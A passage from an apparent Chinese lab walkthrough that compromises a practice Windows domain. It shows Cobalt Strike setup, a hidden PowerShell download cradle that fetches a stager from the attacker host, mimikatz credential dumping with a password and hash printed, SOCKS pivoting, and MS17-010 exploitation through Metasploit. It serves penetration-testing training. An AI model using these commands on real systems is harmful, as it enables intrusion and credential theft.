                                                          \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                            \n
                                                          • teamserver：CS \u7684\u670d\u52a1\u7aef\u7a0b\u5e8f<\/li>\n<\/ul>\n
                                                              \n
                                                            • 192.168.10.133：\u670d\u52a1\u7aef\u5bf9\u5916\u5730\u5740，\u586b Kali \u7684 IP<\/li>\n<\/ul>\n
                                                                \n
                                                              • 123456：\u5ba2\u6237\u7aef\u8fde\u63a5\u5bc6\u7801，\u81ea\u5df1\u5b9a，\u540e\u9762\u5ba2\u6237\u7aef\u8981\u7528\u540c\u4e00\u4e2a<\/li>\n<\/ul>\n

                                                                \"\"<\/p>\n

                                                                （2）\u53e6\u5f00\u4e00\u4e2a\u7ec8\u7aef\u542f\u52a8\u5ba2\u6237\u7aef：<\/p>\n\n\n\n
                                                                \n

                                                                Plain Text<\/span> sudo .\/cobaltstrike-client.sh<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                  \n
                                                                • cobaltstrike-client.sh：\u5ba2\u6237\u7aef\u542f\u52a8\u811a\u672c，\u4e0d\u540c\u7248\u672c\u7684 CS \u6253\u5305\u65b9\u5f0f\u4e0d\u540c，\u6709\u7684\u53eb cobaltstrike，\u6709\u7684\u53eb cobaltstrike-client.sh，\u4ee5\u76ee\u5f55\u91cc\u5b9e\u9645\u5b58\u5728\u7684\u6587\u4ef6\u4e3a\u51c6<\/li>\n<\/ul>\n
                                                                    \n
                                                                  • Host \u586b 127.0.0.1，Port \u586b 50050，User \u4fdd\u6301\u9ed8\u8ba4，Password \u586b\u670d\u52a1\u7aef\u8bbe\u7f6e\u7684\u5bc6\u7801<\/li>\n<\/ul>\n

                                                                    \"\"<\/p>\n

                                                                    （3）\u521b\u5efa\u76d1\u542c\u5668：<\/p>\n

                                                                    Cobalt Strike \u2192 Listeners \u2192 Add<\/p>\n

                                                                    Name：http Payload：windows\/beacon_http\/reverse_http HTTP Hosts：192.168.10.133 HTTP Port：8080<\/p>\n

                                                                    \u70b9 Save，\u5217\u8868\u91cc\u51fa\u73b0\u4e00\u6761\u8bb0\u5f55，host \u5217\u662f 192.168.10.133，port \u662f 8080\u3002<\/p>\n

                                                                    \"\"<\/p>\n

                                                                    （4）\u6258\u7ba1 payload<\/p>\n

                                                                    Attacks \u2192 Scripted Web Delivery<\/p>\n

                                                                    URI Path：\/a<\/p>\n

                                                                    Local Host：192.168.10.133<\/p>\n

                                                                    Local Port：80<\/p>\n

                                                                    Listener：http<\/p>\n

                                                                    Type：powershell<\/p>\n

                                                                    \u4e0d\u52fe\u9009 Use x64 payload<\/p>\n

                                                                    \u70b9 Launch，\u5f39\u7a97\u91cc\u4f1a\u7ed9\u51fa\u6267\u884c\u547d\u4ee4\u3002<\/p>\n

                                                                    \"\"<\/p>\n

                                                                    \u6258\u7ba1\u7aef\u53e3\u548c\u76d1\u542c\u7aef\u53e3\u662f\u4e24\u4e2a\u4e0d\u540c\u7684\u4e1c\u897f：80 \u8d1f\u8d23\u628a stager \u9001\u5230\u76ee\u6807\u624b\u91cc，8080 \u8d1f\u8d23\u63a5\u6536 beacon \u56de\u8fde\u3002\u4e4b\u6240\u4ee5\u4e0d\u7528\u672c\u5730\u751f\u6210 exe，\u662f\u56e0\u4e3a\u5ba2\u6237\u7aef\u5728 Linux \u4e0b\u7684\u6587\u4ef6\u9009\u62e9\u6846\u5f39\u4e0d\u51fa\u6765，\u7528 Scripted Web Delivery \u53ef\u4ee5\u5b8c\u5168\u7ed5\u5f00\u6587\u4ef6\u843d\u5730\u8fd9\u4e00\u73af\u3002<\/p>\n

                                                                    （5）\u5728\u76ee\u6807\u4e0a\u6267\u884c<\/p>\n

                                                                    \u628a\u5f39\u7a97\u91cc\u7684\u547d\u4ee4\u590d\u5236\u5230\u8681\u5251\u865a\u62df\u7ec8\u7aef\u6267\u884c：<\/p>\n\n\n\n
                                                                    \n

                                                                    Plain Text<\/span> powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http:\/\/192.168.10.133:80\/a'))"<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                    \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                      \n
                                                                    • powershell：\u8c03\u7528 PowerShell<\/li>\n<\/ul>\n
                                                                        \n
                                                                      • -nop：\u4e0d\u52a0\u8f7d\u7528\u6237\u7684 PowerShell \u914d\u7f6e\u6587\u4ef6，\u51cf\u5c11\u5e72\u6270<\/li>\n<\/ul>\n
                                                                          \n
                                                                        • -w hidden：\u9690\u85cf\u7a97\u53e3，\u6267\u884c\u65f6\u76ee\u6807\u684c\u9762\u4e0d\u4f1a\u95ea\u51fa\u9ed1\u6846<\/li>\n<\/ul>\n
                                                                            \n
                                                                          • IEX：Invoke-Expression \u7684\u522b\u540d，\u628a\u4e0b\u8f7d\u5230\u7684\u5b57\u7b26\u4e32\u5f53\u4f5c\u4ee3\u7801\u6267\u884c<\/li>\n<\/ul>\n
                                                                              \n
                                                                            • downloadstring：\u7528 .NET \u7684 WebClient \u628a URI \u5185\u5bb9\u4e00\u6b21\u6027\u62c9\u4e0b\u6765<\/li>\n<\/ul>\n

                                                                              \"\"<\/p>\n

                                                                              Beacon \u4e0a\u7ebf<\/h3>\n

                                                                              CS \u4e0b\u65b9\u51fa\u73b0\u4f1a\u8bdd\u8bb0\u5f55：external 192.168.10.140，internal 192.168.52.143，computer \u5217\u662f STU1，process \u662f powershell.exe，arch \u662f x86\u3002<\/p>\n

                                                                              \u53f3\u952e\u4f1a\u8bdd \u2192 Interact，\u6267\u884c：<\/p>\n\n\n\n
                                                                              \n

                                                                              Plain Text<\/span> sleep 5<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                              \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                \n
                                                                              • sleep：\u8bbe\u7f6e Beacon \u7684\u5fc3\u8df3\u95f4\u9694，\u5355\u4f4d\u79d2<\/li>\n<\/ul>\n
                                                                                  \n
                                                                                • \u9ed8\u8ba4 60 \u79d2，\u8c03\u8bd5\u9636\u6bb5\u6539\u6210 5 \u79d2，\u547d\u4ee4\u56de\u663e\u4f1a\u5feb\u5f88\u591a<\/li>\n<\/ul>\n

                                                                                  \"\"<\/p>\n\n\n\n
                                                                                  \n

                                                                                  Plain Text<\/span> shell whoami<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                  \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                    \n
                                                                                  • shell：\u901a\u8fc7 Beacon \u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/li>\n<\/ul>\n
                                                                                      \n
                                                                                    • whoami：\u786e\u8ba4\u5f53\u524d\u6743\u9650，\u8fd4\u56de god\\\\administrator，\u548c\u8681\u5251\u91cc\u770b\u5230\u7684\u4e00\u81f4<\/li>\n<\/ul>\n

                                                                                      \"\"<\/p>\n

                                                                                      \u7b2c\u4e8c\u5173 \u5185\u7f51\u6a2a\u5411<\/h2>\n

                                                                                      \u5185\u7f51\u4fe1\u606f\u6536\u96c6<\/h3>\n

                                                                                      Beacon \u4e0a\u7ebf\u53ea\u8bf4\u660e Win7 \u5df2\u7ecf\u53d7\u63a7，\u5185\u7f51\u91cc\u6709\u4ec0\u4e48\u3001\u57df\u63a7\u5728\u54ea\u3001\u8865\u4e01\u6253\u5230\u4ec0\u4e48\u7a0b\u5ea6，\u8fd9\u4e9b\u90fd\u8981\u5148\u67e5\u6e05\u695a，\u518d\u51b3\u5b9a\u4e0b\u4e00\u6b65\u600e\u4e48\u6253\u3002<\/p>\n\n\n\n
                                                                                      \n

                                                                                      Plain Text<\/span> shell ipconfig \/all<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                      \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                        \n
                                                                                      • ipconfig \/all：\u786e\u8ba4\u4e24\u5757\u7f51\u5361\u7684\u5730\u5740\u548c DNS \u914d\u7f6e，\u5224\u65ad\u8fd9\u53f0\u673a\u5668\u4e0e\u57df\u7684\u5173\u7cfb<\/li>\n<\/ul>\n

                                                                                        \"\"<\/p>\n

                                                                                        \u7ed3\u679c\u91cc\u9664\u4e86 192.168.10.140，\u8fd8\u6709\u4e00\u5f20 192.168.52.143 \u7684\u7f51\u5361，\u8bf4\u660e\u8fd9\u53f0\u673a\u5668\u540c\u65f6\u8e29\u5728\u5916\u7f51\u548c\u5185\u7f51\u91cc，\u662f\u5929\u7136\u7684\u8df3\u677f\u3002<\/p>\n\n\n\n
                                                                                        \n

                                                                                        Plain Text<\/span> shell net config workstation<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                        \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                          \n
                                                                                        • net config workstation：\u67e5\u770b\u5f53\u524d\u8ba1\u7b97\u673a\u7684\u57df\u6216\u5de5\u4f5c\u7ec4\u4fe1\u606f<\/li>\n<\/ul>\n
                                                                                            \n
                                                                                          • \u8f93\u51fa\u91cc\u7684\u201c\u5de5\u4f5c\u7ad9\u57df\u201d\u5c31\u662f\u5b83\u6240\u5c5e\u7684\u57df<\/li>\n<\/ul>\n

                                                                                            \"\"<\/p>\n\n\n\n
                                                                                            \n

                                                                                            Plain Text<\/span> shell net view \/domain<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                            \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                              \n
                                                                                            • net view \/domain：\u5217\u51fa\u5f53\u524d\u57df\u91cc\u7684\u8ba1\u7b97\u673a<\/li>\n<\/ul>\n
                                                                                                \n
                                                                                              • \u80fd\u5217\u51fa\u4e3b\u673a\u540d，\u8bf4\u660e\u5f53\u524d\u8d26\u53f7\u5177\u5907\u57df\u5185\u67e5\u8be2\u6743\u9650<\/li>\n<\/ul>\n

                                                                                                \"\"<\/p>\n\n\n\n
                                                                                                \n

                                                                                                Plain Text<\/span> shell net group "domain controllers" \/domain<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                  \n
                                                                                                • net group：\u67e5\u8be2\u57df\u5185\u7684\u7ec4<\/li>\n<\/ul>\n
                                                                                                    \n
                                                                                                  • "domain controllers"：\u57df\u63a7\u7ec4，\u6210\u5458\u5c31\u662f\u57df\u63a7\u5236\u5668，\u53cc\u5f15\u53f7\u4e0d\u80fd\u7701<\/li>\n<\/ul>\n
                                                                                                      \n
                                                                                                    • \u8f93\u51fa\u7684\u4e3b\u673a\u540d\u548c IP \u5c31\u662f\u7b2c\u4e09\u5173\u7684\u76ee\u6807<\/li>\n<\/ul>\n

                                                                                                      \n

                                                                                                      \u57df\u67e5\u8be2\u547d\u4ee4\u56e0\u4e3a Win7 \u9ed8\u8ba4 DNS \u6307\u5411 NAT \u7f51\u5361，SRV \u89e3\u6790\u5931\u8d25，net group<\/span><\/span>\u3001net user<\/span><\/span> \u90fd\u6ca1\u6709\u6b63\u5e38\u8fd4\u56de\u3002\u8fd9\u4e00\u6b65\u6539\u7528 nslookup \u6307\u5b9a\u57df\u63a7\u5730\u5740\u7684\u65b9\u5f0f\u786e\u8ba4：\u57df\u63a7\u4e3b\u673a\u540d OWA，FQDN \u4e3a owa.god.org，IP 192.168.52.138；\u6210\u5458\u673a 192.168.52.141 \u7531\u73af\u5883\u914d\u7f6e\u548c arp \u7ed3\u679c\u786e\u8ba4\u3002\u540e\u7eed\u6a2a\u5411\u64cd\u4f5c\u5168\u90e8\u76f4\u63a5\u4f7f\u7528 IP，\u4e0d\u518d\u4f9d\u8d56\u57df\u67e5\u8be2\u3002<\/p>\n

                                                                                                      \u6293\u53d6\u51ed\u636e<\/h3>\n

                                                                                                      Win7 \u4e0a\u7684 phpStudy \u662f\u4ee5\u57df\u7ba1\u7406\u5458\u8eab\u4efd\u8fd0\u884c\u7684，Beacon \u4e5f\u7ee7\u627f\u4e86\u8fd9\u4e2a\u8eab\u4efd，\u5148\u7528 mimikatz \u628a\u5185\u5b58\u91cc\u7684\u51ed\u636e\u8bfb\u51fa\u6765\u3002<\/p>\n\n\n\n
                                                                                                      \n

                                                                                                      Plain Text<\/span> mimikatz sekurlsa::logonpasswords<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                      \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                        \n
                                                                                                      • mimikatz：\u8c03\u7528 CS \u5185\u7f6e\u7684 mimikatz<\/li>\n<\/ul>\n
                                                                                                          \n
                                                                                                        • sekurlsa：\u6a21\u5757\u540d，\u8d1f\u8d23\u4ece lsass \u5185\u5b58\u91cc\u8bfb\u53d6\u767b\u5f55\u4f1a\u8bdd<\/li>\n<\/ul>\n
                                                                                                            \n
                                                                                                          • logonpasswords：\u8be5\u6a21\u5757\u4e0b\u7684\u547d\u4ee4，\u4f5c\u7528\u662f\u5bfc\u51fa\u660e\u6587\u5bc6\u7801\u548c\u54c8\u5e0c<\/li>\n<\/ul>\n

                                                                                                            \"\"<\/p>\n

                                                                                                            \u8f93\u51fa\u6309 msv\u3001tspkg\u3001wdigest\u3001kerberos \u56db\u7ec4\u5206\u522b\u5217\u51fa\u4e86\u51ed\u636e，\u8d26\u53f7\u90fd\u662f GOD\\\\Administrator，\u660e\u6587\u5bc6\u7801 Admin123，NTLM \u54c8\u5e0c e45a314c664d40a227f9540121d1a29d\u3002SID \u662f S-1-5-21-2952760202-1353902439-2381784089-500，\u53bb\u6389\u672b\u5c3e\u7684 -500 \u5c31\u662f\u57df SID，\u7b2c\u4e09\u5173\u505a\u9ec4\u91d1\u7968\u636e\u65f6\u4f1a\u7528\u5230\u3002<\/p>\n

                                                                                                            \u5185\u7f51\u7aef\u53e3\u63a2\u6d4b<\/h3>\n

                                                                                                            \u62ff\u5230\u51ed\u636e\u540e，\u8fd8\u9700\u8981\u786e\u8ba4\u5185\u7f51\u76ee\u6807\u5f00\u653e\u54ea\u4e9b\u7aef\u53e3\u3002\u7528 Beacon \u81ea\u5e26\u7684\u626b\u63cf\u529f\u80fd，\u4ece\u76ee\u6807\u4fa7\u5411\u5185\u7f51\u63a2\u6d4b：<\/p>\n\n\n\n
                                                                                                            \n

                                                                                                            Plain Text<\/span> portscan 192.168.52.138,192.168.52.141 21,22,80,135,139,445,3389<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                            \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                              \n
                                                                                                            • portscan：CS \u5185\u7f6e\u7684\u7aef\u53e3\u626b\u63cf，\u7531 Beacon \u53d1\u8d77，\u6d41\u91cf\u4ece Win7 \u51fa\u53bb，\u4e0d\u7ecf\u8fc7 Kali，\u6240\u4ee5\u4e0d\u9700\u8981\u96a7\u9053<\/li>\n<\/ul>\n
                                                                                                                \n
                                                                                                              • \u76ee\u6807\u90e8\u5206\u5199 IP，\u591a\u4e2a\u7528\u9017\u53f7\u5206\u9694<\/li>\n<\/ul>\n
                                                                                                                  \n
                                                                                                                • \u7aef\u53e3\u90e8\u5206\u6309\u5185\u7f51\u6a2a\u5411\u5e38\u7528\u7aef\u53e3\u6311\u9009：21 \u662f FTP\u300122 \u662f SSH\u300180 \u662f Web\u3001135 \u662f RPC\u3001139\/445 \u662f SMB\u30013389 \u662f\u8fdc\u7a0b\u684c\u9762<\/li>\n<\/ul>\n

                                                                                                                  \"\"<\/p>\n

                                                                                                                  \u626b\u63cf\u7ed3\u679c\u663e\u793a 192.168.52.138 \u5f00\u653e 80\u3001135\u3001139\u3001445，SMB \u6307\u7eb9\u4e3b\u673a\u540d OWA\u3001\u7248\u672c 6.1\u3001\u57df GOD，\u662f\u57df\u63a7；192.168.52.141 \u5f00\u653e 21\u3001135\u3001139\u3001445，SMB \u6307\u7eb9\u4e3b\u673a\u540d ROOT-TVI862UBEH\u3001\u7248\u672c 5.2，\u5bf9\u5e94 Server 2003\u3002\u4e24\u53f0\u90fd\u5f00\u653e 445\u3002<\/p>\n

                                                                                                                  \u642d\u5efa SOCKS \u96a7\u9053<\/h3>\n

                                                                                                                  141 \u53ea\u80fd\u4ece Win7 \u8bbf\u95ee，Kali \u76f4\u63a5\u6253\u4e0d\u5230\u5b83，\u9700\u8981\u5148\u628a Beacon \u53d8\u6210\u4e00\u4e2a\u4ee3\u7406\u3002\u5728 Beacon \u63a7\u5236\u53f0\u6267\u884c：<\/p>\n\n\n\n
                                                                                                                  \n

                                                                                                                  Plain Text<\/span> socks 1080<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                  \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                    \n
                                                                                                                  • socks：\u5728 Beacon \u4e0a\u542f\u52a8 SOCKS \u4ee3\u7406<\/li>\n<\/ul>\n
                                                                                                                      \n
                                                                                                                    • 1080：\u4ee3\u7406\u76d1\u542c\u7aef\u53e3，\u5b9e\u9645\u7ed1\u5b9a\u5728 Kali \u4e0a，\u6d41\u91cf\u7ecf Win7 \u8f6c\u53d1\u8fdb\u5185\u7f51<\/li>\n<\/ul>\n
                                                                                                                        \n
                                                                                                                      • \u542f\u52a8\u540e\u6240\u6709\u8d70 127.0.0.1:1080 \u7684\u8bf7\u6c42\u90fd\u4f1a\u4ece Win7 \u51fa\u53bb<\/li>\n<\/ul>\n

                                                                                                                        \"\"<\/p>\n

                                                                                                                        Kali \u4e0a\u786e\u8ba4\u7aef\u53e3\u5df2\u76d1\u542c：<\/p>\n\n\n\n
                                                                                                                        \n

                                                                                                                        Plain Text<\/span> ss -lntp | grep 1080<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                        \"\"<\/p>\n

                                                                                                                        \u7136\u540e\u914d\u7f6e proxychains，\u628a \/etc\/proxychains4.conf \u672b\u5c3e\u9ed8\u8ba4\u7684 9050 \u4ee3\u7406\u66ff\u6362\u6210 1080：<\/p>\n\n\n\n
                                                                                                                        \n

                                                                                                                        Plain Text<\/span> sudo sed -i 's\/^socks4[[:space:]]*127.0.0.1[[:space:]]*9050\/socks4 127.0.0.1 1080\/' \/etc\/proxychains4.conf<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                        \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                          \n
                                                                                                                        • sed -i：\u76f4\u63a5\u4fee\u6539\u6587\u4ef6\u5185\u5bb9，\u4e0d\u751f\u6210\u65b0\u6587\u4ef6<\/li>\n<\/ul>\n
                                                                                                                            \n
                                                                                                                          • \u6b63\u5219\u5339\u914d\u9ed8\u8ba4\u7684 socks4 127.0.0.1 9050<\/span><\/span>，\u66ff\u6362\u6210 socks4 127.0.0.1 1080<\/span><\/span><\/li>\n<\/ul>\n

                                                                                                                            \u786e\u8ba4\u6539\u597d\u4e86：<\/p>\n\n\n\n
                                                                                                                            \n

                                                                                                                            Plain Text<\/span> tail -5 \/etc\/proxychains4.conf<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                            \"\"<\/p>\n

                                                                                                                            \u6539\u5b8c\u6d4b\u8bd5\u96a7\u9053：<\/p>\n\n\n\n
                                                                                                                            \n

                                                                                                                            Plain Text<\/span> proxychains4 nmap -sT -Pn -p 445 192.168.52.141<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                            \u770b\u5230 445 \u662f open \u5c31\u8bf4\u660e\u4ee3\u7406\u901a\u4e86\u3002<\/p>\n

                                                                                                                            \"\"<\/p>\n

                                                                                                                            \u96a7\u9053\u9a8c\u8bc1\u901a\u8fc7：Strict chain 127.0.0.1:1080 \u2192 192.168.52.141:445 OK<\/span><\/span>，445 \u662f open\u3002\u8fd9\u8bf4\u660e SOCKS \u4ee3\u7406\u786e\u5b9e\u80fd\u628a\u6d41\u91cf\u4ece Win7 \u8f6c\u8fdb\u5185\u7f51\u3002<\/p>\n

                                                                                                                            \u542f\u52a8 MSF \u68c0\u6d4b MS17-010<\/h3>\n\n\n\n
                                                                                                                            \n

                                                                                                                            Plain Text<\/span> msfconsole -q use auxiliary\/scanner\/smb\/smb_ms17_010 setg Proxies socks4:127.0.0.1:1080 set RHOSTS 192.168.52.141 run<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                            \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                              \n
                                                                                                                            • smb_ms17_010：\u53ea\u505a\u6f0f\u6d1e\u68c0\u6d4b，\u4e0d\u6267\u884c\u5229\u7528<\/li>\n<\/ul>\n
                                                                                                                                \n
                                                                                                                              • setg：\u5168\u5c40\u8bbe\u7f6e，\u540e\u9762\u6362 exploit \u6a21\u5757\u65f6\u4e0d\u7528\u91cd\u590d\u914d\u4ee3\u7406<\/li>\n<\/ul>\n
                                                                                                                                  \n
                                                                                                                                • Proxies：MSF \u7684\u4ee3\u7406\u53c2\u6570，\u683c\u5f0f\u4e3a socks4:IP:PORT<\/li>\n<\/ul>\n
                                                                                                                                    \n
                                                                                                                                  • RHOSTS：\u76ee\u6807\u5730\u5740<\/li>\n<\/ul>\n

                                                                                                                                    \"\"<\/p>\n

                                                                                                                                    \u68c0\u6d4b\u7ed3\u679c\u5f88\u660e\u786e：Windows Server 2003 3790 x86 (32-bit)<\/span><\/span>，\u5b58\u5728 MS17-010\u300232 \u4f4d\u8fd9\u4e2a\u4fe1\u606f\u5f88\u5173\u952e，payload \u5fc5\u987b\u7528 x86 \u7684\u3002<\/p>\n

                                                                                                                                    \u6c38\u6052\u4e4b\u84dd\u5229\u7528<\/h3>\n

                                                                                                                                    Server 2003 \u5bf9\u5e94\u7684\u662f EternalRomance \u8fd9\u6761\u94fe，MSF \u91cc\u7684\u6a21\u5757\u662f ms17_010_psexec：<\/p>\n\n\n\n
                                                                                                                                    \n

                                                                                                                                    Plain Text<\/span> use exploit\/windows\/smb\/ms17_010_psexec<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                    \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                      \n
                                                                                                                                    • \u8fd9\u4e2a\u6a21\u5757\u5148\u5229\u7528 MS17-010 \u6253\u901a SMB，\u518d\u901a\u8fc7\u670d\u52a1\u7ba1\u7406\u5668\u6267\u884c payload<\/li>\n<\/ul>\n
                                                                                                                                        \n
                                                                                                                                      • \u548c ms17_010_eternalblue \u7684\u533a\u522b：\u540e\u8005\u53ea\u652f\u6301 Win7\/2008 \u4ee5\u4e0a\u7684 x64 \u7cfb\u7edf，2003 \u5fc5\u987b\u7528 psexec \u8fd9\u4e2a<\/li>\n<\/ul>\n

                                                                                                                                        \"\"<\/p>\n

                                                                                                                                        MSF \u6ca1\u6307\u5b9a payload，\u5c31\u9ed8\u8ba4\u7528\u4e86 reverse_tcp<\/span><\/span>\u3002\u8fd9\u4e2a payload \u5728\u5185\u7f51\u6253\u4e0d\u901a：141 \u56de\u8fde\u4e0d\u5230 Kali\u3002\u56e0\u6b64\u8981\u5148\u6539\u6210 bind\u3002<\/p>\n

                                                                                                                                        \u5728\u5f53\u524d msf exploit(windows\/smb\/ms17_010_psexec) ><\/span><\/span> \u63d0\u793a\u7b26\u4e0b\u4f9d\u6b21\u6267\u884c：<\/p>\n\n\n\n
                                                                                                                                        \n

                                                                                                                                        Plain Text<\/span> set payload windows\/meterpreter\/bind_tcp set RHOSTS 192.168.52.141 set LPORT 4444 show options<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                        \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                          \n
                                                                                                                                        • set payload：\u663e\u5f0f\u6307\u5b9a bind_tcp，\u907f\u514d\u8d70\u9ed8\u8ba4\u7684 reverse_tcp<\/li>\n<\/ul>\n
                                                                                                                                            \n
                                                                                                                                          • RHOSTS：\u76ee\u6807\u5730\u5740<\/li>\n<\/ul>\n
                                                                                                                                              \n
                                                                                                                                            • LPORT：bind \u6a21\u5f0f\u4e0b\u662f\u76ee\u6807\u8981\u76d1\u542c\u7684\u7aef\u53e3<\/li>\n<\/ul>\n
                                                                                                                                                \n
                                                                                                                                              • show options：\u786e\u8ba4 Proxies \u4e00\u680f\u4ecd\u662f socks4:127.0.0.1:1080<\/span><\/span><\/li>\n<\/ul>\n

                                                                                                                                                \"\"<\/p>\n

                                                                                                                                                \u53c2\u6570\u5df2\u9f50\u5168：RHOSTS<\/span><\/span>\u3001LPORT<\/span><\/span>\u3001payload \u7684 RHOST<\/span><\/span> \u90fd\u586b\u597d\u4e86，SHARE<\/span><\/span> \u9ed8\u8ba4 ADMIN$<\/span><\/span>，\u53ef\u4ee5\u76f4\u63a5\u8dd1：<\/p>\n\n\n\n
                                                                                                                                                \n

                                                                                                                                                Plain Text<\/span> run<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                Proxies<\/span><\/span> \u5c5e\u4e8e\u9ad8\u7ea7\u53c2\u6570，show options<\/span><\/span> \u4e0d\u4f1a\u663e\u793a，\u8981\u7528 show advanced<\/span><\/span> \u624d\u770b\u5f97\u5230；\u4e4b\u524d setg<\/span><\/span> \u5df2\u56de\u663e Proxies => socks4:127.0.0.1:1080<\/span><\/span>，\u8bf4\u660e\u4ee3\u7406\u5df2\u751f\u6548，\u4e0d\u7528\u91cd\u590d\u8bbe\u7f6e\u3002<\/p>\n

                                                                                                                                                \"\"<\/p>\n

                                                                                                                                                \u5229\u7528\u65f6\u5148\u5c1d\u8bd5 x64 \u7684 stick \u5931\u8d25，\u6362\u6210 x86 \u540e\u547d\u4e2d，\u5370\u8bc1\u4e86\u76ee\u6807\u786e\u5b9e\u662f 32 \u4f4d\u3002\u968f\u540e\u6210\u529f\u6cc4\u9732\u4e8b\u52a1\u3001\u62ff\u5230 SYSTEM \u4f1a\u8bdd，\u4e0a\u4f20 payload（XVGQaUBv.exe）\u3001\u521b\u5efa\u670d\u52a1\u5e76\u542f\u52a8，\u6267\u884c\u5b8c\u81ea\u52a8\u5220\u9664\u6587\u4ef6\u3002bind handler \u5728 141:4444 \u4e0a\u76d1\u542c，stage \u4f20\u9001\u5b8c\u6210\u540e\u8fd4\u56de Meterpreter session 1\u3002\u7531\u4e8e\u6d41\u91cf\u7ecf\u8fc7 SOCKS \u4ee3\u7406，\u4f1a\u8bdd\u91cc\u663e\u793a\u7684\u5730\u5740\u662f 127.0.0.1:1080，\u4e0d\u662f\u76ee\u6807\u771f\u5b9e\u5730\u5740\u3002<\/p>\n

                                                                                                                                                \u63a5\u7740\u786e\u8ba4\u6743\u9650：<\/p>\n\n\n\n
                                                                                                                                                \n

                                                                                                                                                Plain Text<\/span> getuid<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                  \n
                                                                                                                                                • getuid：\u67e5\u770b\u5f53\u524d\u4f1a\u8bdd\u8eab\u4efd<\/li>\n<\/ul>\n
                                                                                                                                                    \n
                                                                                                                                                  • \u6c38\u6052\u4e4b\u84dd\u5229\u7528\u6210\u529f\u4e00\u822c\u662f NT AUTHORITY\\\\SYSTEM<\/li>\n<\/ul>\n

                                                                                                                                                    \"\"<\/p>\n\n\n\n
                                                                                                                                                    \n

                                                                                                                                                    Plain Text<\/span> sysinfo<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                    \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                      \n
                                                                                                                                                    • sysinfo：\u786e\u8ba4\u4e3b\u673a\u540d\u3001\u7cfb\u7edf\u7248\u672c\u548c\u67b6\u6784，\u548c\u524d\u9762\u7684 SMB \u6307\u7eb9\u5bf9\u4e0a<\/li>\n<\/ul>\n

                                                                                                                                                      \"\"<\/p>\n

                                                                                                                                                      \n\n\n\n
                                                                                                                                                      \n

                                                                                                                                                      Plain Text<\/span> ipconfig<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                      \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                        \n
                                                                                                                                                      • ipconfig：\u786e\u8ba4 141 \u7684\u5185\u7f51\u5730\u5740，\u987a\u4fbf\u770b\u5b83\u6709\u6ca1\u6709\u5176\u4ed6\u7f51\u6bb5<\/li>\n<\/ul>\n

                                                                                                                                                        \"\"<\/p>\n

